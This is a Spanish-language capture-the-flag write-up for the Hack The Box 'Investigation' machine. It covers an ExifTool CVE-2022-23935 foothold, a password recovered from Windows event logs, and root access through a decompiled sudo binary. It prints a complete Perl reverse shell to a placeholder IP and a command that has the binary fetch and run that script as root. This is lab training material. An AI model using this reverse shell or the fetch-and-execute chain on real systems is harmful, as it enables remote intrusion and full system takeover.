๐ŸInvestigation

Datos
Notas

Nombre de la mรกquina:

IP de la mรกquina:

10.10.11.197

Sistema simulado:

Ubuntu

Servicio vulnerado:

ExifTool

1. Enumeraciรณn y descubrimiento

Comenzamos el ejercicio lanzando un nmap a la IP de la mรกquina para comenzar a descubrir los puertos y servicios que hay abiertos.

nmap -sCV 10.10.11.197 -O -p-

En este punto tenemos que ver cual es la pรกgina web de la mรกquina, para ello, como hemos visto que viene configurado en el puerto 80 en la peticiรณn de nmap usaremos el dominio eForenzics.htb y lo configuraremos en el fichero /etc/hosts . En este punto podremos ver la pรกgina web desplegada.

Observamos que dentro de la web existe un "servicio gratuito" que simula un analizador forense de imรกgenes. Realizamos una prueba.

2. POC y explotaciรณn de Exiftool

En este punto nos damos cuentas de que la pรกgina ejecuta Exiftool y nos devuelve un reporte en formato TXT por pantalla, por lo que debemos empezar a buscar una forma de vulnerar este Exiftool 12.37 ya que es una entrada potencial. Tras una investigaciรณn encontramos el CVE 2022-23935 el cual parece ser potencialmente explotable en esta mรกquina. En el siguiente Github podemos encontrar una prueba de Concepto (POC) de la explotaciรณn de la vulnerabilidad.

Por otro lado hemos encontrado el exploit de 0xFTW el cual usaremos en nuestro caso para intentar ejecutar la vulnerabilidad. Seguimos los pasos de instalaciรณn de descarga y preparaciรณn del exploit como viene indicado, aunque encontramos un par de repositorios con exploits ya montados que no conseguimos hacer funcionar correctamente.

La siguiente prueba de concepto es muy interesante y sencilla para entender el funcionamiento.

Aunque nosotros utilizaremos el siguiente generador de la shell en un fichero que subiremos mediante esta herrmienta.

Solo debemos de seguir los pasos y ejecutar la herramienta apuntando hacia una IP y puerto que queramos levantar. Esto nso generarรก un fichero que deberemos de subir a la web y que automรกticamente nos darรก acceso con www-data.

3. Escalada a usuarios del sistema

En este punto y ya con acceso a ww-data deberemos de intentar escalar al usuario "smorton" el cual entendemos que tendrรก mayores privilegios que nosotros.

Investigando los diferentes directorios que tenemos activos en la mรกquina descubrimos que existe una carpeta interesante con archivos que nos llaman la atenciรณn, entre ellos un correo electrรณnico.

Debemos de descargarnos este archivo en nuestro ordenador para desde ahรญ analizarlo con mayor facilidad. Una vez lo tenemos podemos leerlo mediante Outlock o un visualizador de este tipo de archivos.

Al ver el contenido del archivo podemos visualizar el siguiente contenido.

Como vemos existe un archivo adjunto el cual no podemos ver, pero mediante Ecryptomatic conseguimos descargarlo.

El fichero que obtenemos es security.evtx lel cual es un fichero extraido dle visor de eventos de windows por lo que necesitaremos una herramienta para visualizarlo.

Para exportar el archivo security.evtx usaremos

pip install python-evtx

Una vez instalado evtx ejecutaremos la conversiรณn del archivo.

python evtx_dump.py /home/kali/Escritorio/security.evtx > /home/kali/Escritorio/1.evtxdump

En ese momento ya podremos ver en XML el archivo y utilizaremos un editor de texto para observar en รฉl e intentar encontrar informaciรณn relevante.

Revisando en los logs encontraremos una pass la cual utilziaremos para loguearnos por ssh al usuario smorton consiguiendo acceso y visualizando la flag del usuario.

4. Escalada de privilegios

En este punto nos encontramos con el usuario smorton y debemos de realizar una investigaciรณn dentro de los directorios para intentar llegar a realizar la escalada.

Al empezar nos llama la atenciรณn el fichero /usr/bin/binary el cual podremos utilizar.

Nos enviamos el binario a nuestro ordenador para analizarlo

En este punto decompilaremos el binario para analizarlo y ver sus partes. Podemos usar para ello Dogbolt.

nt32_t main(int32_t argc, char** argv, char** envp)
{
    if (argc != 3)
    {
        puts("Exiting... ");
        exit(0);
        /* no return */
    }
    if (getuid() != 0)
    {
        puts("Exiting... ");
        exit(0);
        /* no return */
    }
    if (strcmp(argv[2], "lDnxUysaQn") != 0)
    {
        puts("Exiting... ");
        exit(0);
        /* no return */
    }
    puts("Running... ");
    FILE* rax_8 = fopen(argv[2], &data_2027);
    int64_t rax_9 = curl_easy_init();
    int32_t var_40 = 0x2712;
    curl_easy_setopt(rax_9, 0x2712, argv[1], 0x2712);
    int32_t var_3c = 0x2711;
    curl_easy_setopt(rax_9, 0x2711, rax_8, 0x2711);
    int32_t var_38 = 0x2d;
    curl_easy_setopt(rax_9, 0x2d, 1, 0x2d);
    if (curl_easy_perform(rax_9) != 0)
    {
        puts("Exiting... ");
        exit(0);
        /* no return */
    }
    int64_t rax_25 = snprintf(nullptr, 0, &data_202a, argv[2]);
    char* rax_28 = malloc((rax_25 + 1));
    snprintf(rax_28, (rax_25 + 1), &data_202a, argv[2]);
    int64_t rax_37 = snprintf(nullptr, 0, "perl ./%s", rax_28);
    char* rax_40 = malloc((rax_37 + 1));
    snprintf(rax_40, (rax_37 + 1), "perl ./%s", rax_28);
    fclose(rax_8);
    curl_easy_cleanup(rax_9);
    setuid(0);
    system(rax_40);
    system("rm -f ./lDnxUysaQn");
    return 0;
}

Analizando el cรณdigo entendemos que existen 4 pasos:

  1. Se comprueba si se puede ejecutar o no.

  2. Se comprueba si el usuario puede ejecutar le cรณdigo como root o por el contrario no.

  3. Comprueba si el argumento es "lDnxUysaQn"

  4. Se abre un fichero con curl el cual ejecuta el segundo parรกmetro con perl.

Con toda esta informaciรณn vamos a preparar una estrategia para llegar a ser root en la mรกquina.

  1. Crearemos un archivo de perl con una revershell de Kali en nuestra mรกquina.

use Socket;
$i="[IP]";
$p=[PORT];
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){
 open(STDIN,">&S");open(STDOUT,">&S");
 open(STDERR,">&S");exec("/bin/bash -i");
};
  1. Levantaremos un servidor de python en el mismo directorio que tengamos el archivo con la shell.

python -m http.server 80 
  1. Ejecutaremos en la mรกquina con el usuario smorton la siguiente ruta aprovechรกndonos del anรกlisis sobre el cรณdigo Perl realizado.

sudo /usr/bin/binary [IP]/shell.pl lDnxUysaQn

Al ejecutarlo conseguiremos acceder como root a la mรกquina, acabando la mรกquina y obteniendo la flag de root.

Si te he ayudado sรญgueme y apรณyame en Hack The Box

รšltima actualizaciรณn

ยฟTe fue รบtil?